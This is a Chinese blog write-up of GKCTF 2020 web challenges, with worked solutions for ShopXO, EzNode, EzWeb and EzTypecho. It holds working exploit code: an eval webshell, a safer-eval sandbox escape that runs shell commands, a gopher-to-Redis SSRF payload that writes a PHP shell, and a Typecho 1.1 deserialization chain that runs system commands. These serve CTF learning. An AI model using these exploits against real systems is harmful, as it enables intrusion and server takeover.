avatar

目录
GKCTF学习

Web

Check_in

题目直接给出源码,发现它base64解码后,可以执行命令。

那我们可以通过get传参Ginkgo=ZXZhbCgkX1BPU1RbJ2NtZCddKTs=(eval($_POST[‘cmd’]);的base64编码),然后再POST传参数执行命令。

先看一下phpinfo,因为默认这个题目没有这么简单,就先搜disable_functions,看到禁用了很多函数,那就必须要绕过。

先用蚁剑连接,这样可以方便之后操作。

因为蚁剑那个bypass的插件还不会用,就利用上传功能上传exp了,传送门。把pwn里面的命令改为/readflag,上传。上传时,需要找一个能上传有权限的文件夹,我这里是/var/tmp,直接右键上传弄好的exp。

然后再到主界面,包含一下这个代码,就得到flag。

老八小超市儿

看到是一个ShopXO的商城系统,考这种题,应该不会说是让你从头审计一下这个网站的漏洞在哪里,或者说就是扫路径,然后用渗透测试的思路来做。

题目应该有它已经发布的漏洞点,上网去找一下ShopXO漏洞,就找到一个getshell的文章,照他的来做。

默认后台路径为admin.php,弱口令admin+shopxo登入后台。进入“应用中心”—“应用商店”,找到主题下载页面,选择默认主题下载。

把shell放到主题压缩包的default/_static_路径下面,注意一定是在不解压的情况下放入shell文件,先解压再压缩,好像会出错。

然后进入“网站管理”—“主题管理”—“主题安装”,选择前面的压缩包上传。安装成功后,访问网站/public/static/index/default/cmd.php路径,就可以执行命令。在hackbar执行有点问题,换到了蚁剑,cat /flag发现是个假的,真正的在/root下,但此时是没有权限的。

我刚开还想用特殊权限位提权,发现试了几个常用的,都不行。然后在根目录发现一个每60s执行一次的sh脚本,而且它还有root权限。

到/var/mail/makeflaghint.py看一下,是一个写文件的脚本,那我们直接在此之上修改一下,加两行读flag的代码。

保存之后等待60s,就可以在/flag.hint得到flag。

CVE签到

这道题目好久都没人做出来的,然后放出hint,直接提示CVE,那就真就变签到了,但当时还是没怎么看,没做出来。

页面直接给一个超链接。

点击后,会在网址后面拼接一个url,get传参。

但这样就不明所以,不知道要看什么。直接搜给出的编号:cve-2020-7066,描述如下:

在 PHP 版本 7.2.x 低于 7.2.29、7.3.x 低于 7.3.16 和 7.4.x 低于 7.4.4,当使用 get_headers() 处理用户提供的 URL,如果 URL 包含零 (\0) 字符,则 URL 将被默默截断。这可能会导致某些软件对get_headers()的目标做出不正确的假设,并可能将一些信息发送到错误的服务器。

零字符url编码为%00,通过%00截断,让它请求本地主机,可以得到提示。

把host结尾改为123,得到flag。

EzNode

主页是一个计算器,但没什么用,直接查看他给的源代码。发现是nodejs写的,需要学习一波相关知识,把一些点都标上去了。

const express = require('express');//路由和中间件 Web 框架
const bodyParser = require('body-parser');//HTTP请求体解析中间件,使用这个模块可以解析JSON、Raw、文本、URL-encoded格式的请求体
//safer-eval会把传入的字符串当作js代码执行,safer也不safe,应该避免使用这个东西
const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库
const fs = require('fs');//fs模块提供了用于与文件系统进行交互的API。
const app = express();//获取express对象


app.use(bodyParser.urlencoded({ extended: false })); //解析form表单提交的数据
app.use(bodyParser.json());//解析json数据

// 2020.1/WORKER2 老板说为了后期方便优化
//req:请求,res:响应,next:下一个中间件函数
app.use((req, res, next) => { //通用中间件,传入的东西都先进入app.use函数检测,之后才是其他中间件函数
  if (req.path === '/eval') {//请求路径 /eval
    let delay = 60 * 1000;
    console.log(delay);   
    if (Number.isInteger(parseInt(req.query.delay))) {//req.query.delay获取请求参数delay,可以get,post等方式提交
        delay = Math.max(delay, parseInt(req.query.delay)); //取最大
    }
    const t = setTimeout(() => next(), delay);//计时器标识符,如果在delay时间内没执行完毕,后面可通过函数返回的id取消这个计时器
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {//必须让前面的定时器立马执行结束,不然这个setTimeout会结束上面的定时器
      clearTimeout(t);//取消由setTimeout()方法设置的定时操作
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);  //1000ms的延时
  } else {
    next();//next函数主要负责将控制权交给下一个中间件函数
      //如果我们的首先传入的路径不是/eval,是/version,if判断分支,执行next()
      //那么next()它就向下交付,找到一个路径符合的路由,
      ///eval,/source都不符合,那就不会执行他们
      //直到/version符合,执行/version的代码。
  }
});

app.post('/eval', function (req, res) {//前面为路由,后面处理方法
  let response = '';
  if (req.body.e) {//获取http请求中参数e的内容,
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {  
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
  res.set('Content-Type', 'text/json;charset=utf-8');
  res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) { //主页
  res.set('Content-Type', 'text/html;charset=utf-8');
  res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

代码审计后,知道关键点是saferEval这个函数,它可以把我们传入的字符串当作命令执行。那就先看怎么到达这个函数。

在express这个框架中,我们提交的请求都首先会经过第一个app.use函数的处理,如果它处理完毕,并返回给客户端信息。如果此时还没有执行next()函数,那么后面其他中间件函数,如app.post(‘/eval’)就不会得到执行。

要利用saferEval,我们要访问路径/eval。我们传入的请求会先经过app.use函数的处理,它判断路径为/eval之后,就会设置一个60s的delay。同时还会把这个数和我们传入的delay做一个比较,取最大的数为delay,并传给setTimeout设置定时器。如果延时结束,就会执行next(),交给下一个中间件函数处理请求。但代码中又写了一个定时器,在延时1s后,取消之前设置的定时器,并返回给客户端处理结果。因为delay那个数比较大,看起来总是会被取消。这里是一个绕过:

对于setTimeout函数,当delay大于2147483647或小于1时,delay将会被设置为1。非整数的delay会被截断为整数。

我们传入delay=21474836477(只要比上面那个数大就行),这个值大于代码中的delay,取最大。之后,delay就会被setTimeout函数处理为1,1ms马上延时结束,执行next(),提交给下一个中间件函数app.post(‘/eval’)。app.post(‘/eval’)这个路由会对我们把请求中e的值传给safeEval处理,下来就针对safeEval进行沙箱逃逸。

传送门给出的Poc:

const saferEval = require("./src/index");

const theFunction = function () {
  const process = clearImmediate.constructor("return process;")();
  return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));

把上面函数中的exp简单拼接一下,再和delay一起传入,就可以得到flag。

沙箱逃逸这个知识点要放到以后的深入学习日程中。

EzWeb

前端是一个提交网址的页面,没什么信息,查看源代码,提示?secret。

因为网址是get提交的,所以它加了问号。尝试一下,看到给了ip地址。

ip地址为173.239.227.10,可以通过bp来扫一下这个网段还有什么其他主机。看到5,6,7,10,11是其他主机。但5,6,7页面显示的东西都不知道是干什么的,11提示需要试试其他服务,端口就在这上面,那扫一下它的端口。从一个ip到另一个ip,可以想到ssrf;再到另一个ip的端口,可以认为是redis或者mysql。

因为buu这个限制扫描缘故,最多开2线程扫,最后看到6379是开的。看报错是redis的格式,记下了。那么基本可以确认是gopher协议利用ssrf打redis未授权getshell了。

因为它ban了file,不能读文件,但是gopher没有ban,可以利用gopher://协议写shell。写shell的脚本来自博客,改成py3并修改ip如下:

import urllib
protocol="gopher://"
ip="173.207.21.11"
port="6379"
shell="\n\n\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd


if __name__=="__main__":
    for x in cmd:
        payload += urllib.parse.quote(redis_format(x))
    print(payload)

生成payload:

gopher://173.207.21.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

这里是换了台机子,所以ip变了,ip四个位置还是11,端口也没变。下面把payload打过去,注意这里一定要把payload放到这个框里面提交,用hackbar打不过去。

然后再访问shell.php,得到flag。

ssrf+gopher这个东西要放到日后的深入学习目标中了。

EzTypecho

看题目知道是Typecho,和php相关。题目直接给了源代码,体量对我来说很大,不知从何搞起。看wp说Typecho的漏洞基本出在install.php,而且这题基本就是考typcheo1.1的反序列化链。

先进install.php找到反序列化点。

看到还设置了检测,看是否有$_SESSION,但是题目没有使用session_start()。要想反序列化就得先绕过这个检测,根据PHP文档有:

那么在文件上传时,POST一个与PHP_SESSION_UPLOAD_PROGRESS同名变量时会在 session中添加数据,从而绕过session检测。

下面就是整个反序列化链的构造了,一般从反序列化点倒着推,去找有哪些可控点,是比较顺的。typecho1.1反序列化链参考自该博客

从install.php开始,231行看到unserialize函数,为反序列化点。

<\?php
    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
    Typecho_Cookie::delete('__typecho_config');
    $db = new Typecho_Db($config['adapter'], $config['prefix']);
    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
    Typecho_Db::set($db);
?>

跟进Typecho_Cookie::get()(在cookie.php中),看到从cookie中获取,变量可控。

public static function get($key, $default = NULL)
{
    $key = self::$_prefix . $key;
    $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
    return is_array($value) ? $default : $value;
}

再看install.php前面一部分的代码,看能否通过验证执行到反序列化这个位置。

if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
        exit;
    }
// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) {
        exit;
    }

    $parts = parse_url($_SERVER['HTTP_REFERER']);
    if (!empty($parts['port'])) {
        $parts['host'] = "{$parts['host']}:{$parts['port']}";
    }

    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
        exit;
    }
}

可以看到要想执行到下面的命令,需要两个条件,一是通过get方式提交有finish参数,这部分返回0,后面就不用管了,二是HTTP_REFERER非空且为自己的host,很容易实现。这样就可以开始思考如何利用这个反序列化漏洞。

反序列化漏洞需要魔术方法,常见几种如下:

__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

再放一个详细介绍反序列化方法的链接

跟进Typecho_Db()(在Db.php中)。这里跟进,是因为Typecho_Db()这个函数在接下来要处理我们可控的反序列化数据,要看看Typecho_Db()对数据做了什么操作。

public function __construct($adapterName, $prefix = 'typecho_')
{
    /** 获取适配器名称 */
    $this->_adapterName = $adapterName;

    /** 数据库适配器 */
    $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

    if (!call_user_func(array($adapterName, 'isAvailable'))) {
        throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
    }

    $this->_prefix = $prefix;

    /** 初始化内部变量 */
    $this->_pool = array();
    $this->_connectedPool = array();
    $this->_config = array();

    //实例化适配器对象
    $this->_adapter = new $adapterName();
}

其中 $adapterName = 'Typecho_Db_Adapter_' . $adapterName;将变量与字符串连接,如果我们这个变量是对象,那便会调用魔术方法__toString()。经过搜索整个代码发现,__toString()有三处,在feed.php的__toString()方法(在Typecho_Feed类中)中,有这么一串代码:

foreach ($this->_items as $item) {
    $content .= '' . self::EOL;
    $content .= ''</span> <span class="token punctuation">.</span> <span class="token function">htmlspecialchars</span><span class="token punctuation">(</span><span class="token variable">$item</span><span class="token punctuation">[</span><span class="token string">'title'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">.</span> <span class="token string">'' . self::EOL;
    $content .= '' . $item['link'] . '' . self::EOL;
    $content .= '' . $item['link'] . '' . self::EOL;
    $content .= '' . $this->dateFormat($item['date']) . '' . self::EOL;
    $content .= '' . htmlspecialchars($item['author']->screenName) . '' . self::EOL;

    if (!empty($item['category']) && is_array($item['category'])) {
        foreach ($item['category'] as $category) {
            $content .= ' . $category['name'] . ']]>' . self::EOL;
        }
}

读到$content .= '' . htmlspecialchars($item['author']->screenName) . '' . self::EOL;发现问题,前面提到__get()用于从不可访问的属性读取数据,foreach遍历时当screenName属性不存在的时候会调用__get()。这就全局搜索有__get()方法的类(在Typecho_Request类中),在Request.php有代码:

public function __get($key)//$key为不能访问的属性,prvite在其他类不能被访问,所以下文exp设为private属性
{
    return $this->get($key);
}

跟进get(),仍在Request.php中。

public function get($key, $default = NULL)
{
    switch (true) {
        case isset($this->_params[$key]):
            $value = $this->_params[$key];
            break;
        case isset(self::$_httpParams[$key]):
            $value = self::$_httpParams[$key];
            break;
        default:
            $value = $default;
            break;
}

    $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
    return $this->_applyFilter($value);
}

跟进_applyFilter(),仍在Request.php。

private function _applyFilter($value)
{
    if ($this->_filter) {
        foreach ($this->_filter as $filter) {
            $value = is_array($value) ? array_map($filter, $value) :
            call_user_func($filter, $value);//把第一个参数作为回调函数调用
                    //所以下面exp中$filter=assert,用来执行命令;$value为我们想要的命令
    }

    $this->_filter = array();
    }

    return $value;
}

看到了call_user_func($filter, $value),这个函数的作用是把第一个参数作为回调函数调用,比如这个例子:

<\?php
    function barber($type)
    {
        echo "You wanted a $type haircut, no problem\n";
    }
    call_user_func('barber', "mushroom");  //输出You wanted a mushroom haircut, no problem
    call_user_func('barber', "shave");  //输出You wanted a shave haircut, no problem
?>

到此为止构造出POP链:

install.php中unserialize()内容可控==>install.php实例化了一个Typecho_Db,Typecho_Db对象在获取适配器名称$adapterName时调用了魔术方法__toString()==>Feed.php执行__toString()的时候在获取screenName的时候调用了__get()方法==>Request.php中__get()中调用get(),其中执行了_applyFilte()==> Request.php中的_applyFilter()中使用了call_user_func(),该回调函数导致漏洞触发。

构造的exp如下:

<\?php        //添加的反斜杠为代码渲染问题,前后代码都是如此
class Typecho_Feed
{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const DATE_RFC822 = 'r';
    const DATE_W3CDTF = 'c';
    const EOL = "\n";
    private $_type;
    private $_items;

    public function __construct()
    {
        $this->_type = $this::RSS2;
        $this->_items[0] = array(
            'title' => '1',
            'content' => '1',
            'link' => '1',
            'date' => 1540996608,
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        );
    }
}

class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct(){
        $this->_params['screenName'] = 'phpinfo()';
        $this->_filter[0] = 'assert';
    }
}

$payload = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_'
);

echo base64_encode(serialize($payload));
?>

其实刚分析完整个流程,看这个exp,我还是有点懵的。一个点:怎么就能关联到__toString()方法了呢?搞得我还以为魔术方法是全局触发的呢。其实并不是,变量adapter是Typecho_Feed(),这样就能被当字符串处理就能触发__toString(),是因为__toString()函数是属于Typecho_Feed()的,所以能触发。可能很蠢,但我刚开始就这样想了,这可能是很长时间没做这种题目的原因。分析完POP链,也还是要花点时间去看看这个exp是怎么写的,不然对PHP反序列化这个知识点还是不够深入的。

最后想拿flag的时候,要加上PHP_SESSION_UPLOAD_PROGRESS名字的文件,还有PHPSESSID。但在尝试时,发现我不会用burp上传文件,postman还没玩熟,就各种不行。目标效果是下面这样,但就是实现不了。就换成py脚本来请求和提交数据。

用脚本的时候也发现一个有问题,上面的exp生成的payload能显示phpinfo,但是想cat /flag就会出错,没有回显。换用官方exp,生成的payload去cat /flag就么有问题,也搞不清楚为什么。官方exp如下:

<\?php
class Typecho_Feed{
    //const RSS2 = 'RSS 2.0'; 
    private $_type;
    private $_items = array(); 
    public function __construct() {
        //不加就会出现database error500
        $this->_type = 'RSS 2.0';
        $item['author'] = new Typecho_Request(); 
        $item['category'] = array(new Typecho_Request()); 
        $this->_items[0] = $item;
    } 
}
class Typecho_Request {
    private $_params = array(); 
    private $_filter = array(); 
    function __construct(){
    $this->_params["screenName"]="cat /flag";
    $this->_filter[0]="system"; 
    }
}

$a = array("adapter" => new Typecho_Feed(),"prefix" => "test"); 
echo base64_encode(serialize($a));
?>

下面是用官方的py脚本,会写脚本是真方便,省得来回操作工具。脚本如下:

import requests 

url='http://614f305f-9b66-495a-93bd-805339272911.node3.buuoj.cn/install.php?finish=1' 
files={'file':123}
headers={ #__typecho_config要用前面exp生成的payload替换             
'cookie':'PHPSESSID=test;__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJjYXQgL2ZsYWciO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6OToiY2F0IC9mbGFnIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX19fX19czo2OiJwcmVmaXgiO3M6NDoidGVzdCI7fQ==',
'Referer':'http://614f305f-9b66-495a-93bd-805339272911.node3.buuoj.cn/install.php'
} 
res=requests.post(url,files=files,headers=headers,data= {"PHP_SESSION_UPLOAD_PROGRESS": "123456789"}) 

print(res.text)

执行就能得到flag。

在看别人博客的时候,还发现另一种方法,是在url的install.php后面get传参start=1,这样就能绕过session没开启的限制,不用加PHPSESSID,也不用加PHP_SESSION_UPLOAD_PROGRESS。

在博客下面留言,得到回复:不是同一段代码,不是绕sesion_start();加上start是进一个新的if,在那个if里有另一个反序列化位点;代码里有2处反序列化位点,第一处需要session,但是没session所以用不了,用另一个。虽说入口点不一样,但是反序列化链都是一样的。

下面就是根据提示,在install.php找到的另一个入口点。因为不传finish参数,前面就exit。然后看到这里,我们get传参start,进入这个if分支。进入后,又有一个if来判断是否存在那个配置文件,因为我们没安装,自然没那个文件。然后进入下面那个else分支,就又看到了上面熟悉的反序列化语句,而且后面也有写入Typecho_Db对象,所以说反序列化链和exp都是一样的。

如果这样下来发现POP链分析还是比较可以的,能跟着整个流程走下来。但可能是因为跟着别人的步子走,才能这么顺,要是纯粹自己分析可能又是另一种情况,以后也要找这种漏洞多分析分析。

Node-Exe

这道题目先放放,今天是没时间了,也有新知识。

后记

参考:

[1] 防灾科技学院GKCTF 2020 Writeup

[2] [GKCTF2020]Web 部分

[3] GKCTF-ezweb

[4] GKCTF2020wp

[5] 浅析Redis中SSRF的利用

文章作者: crownZ
文章链接: https://crownz-sec.github.io/2020/05/26/GKCTF2020/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 crownZ's Blog

评论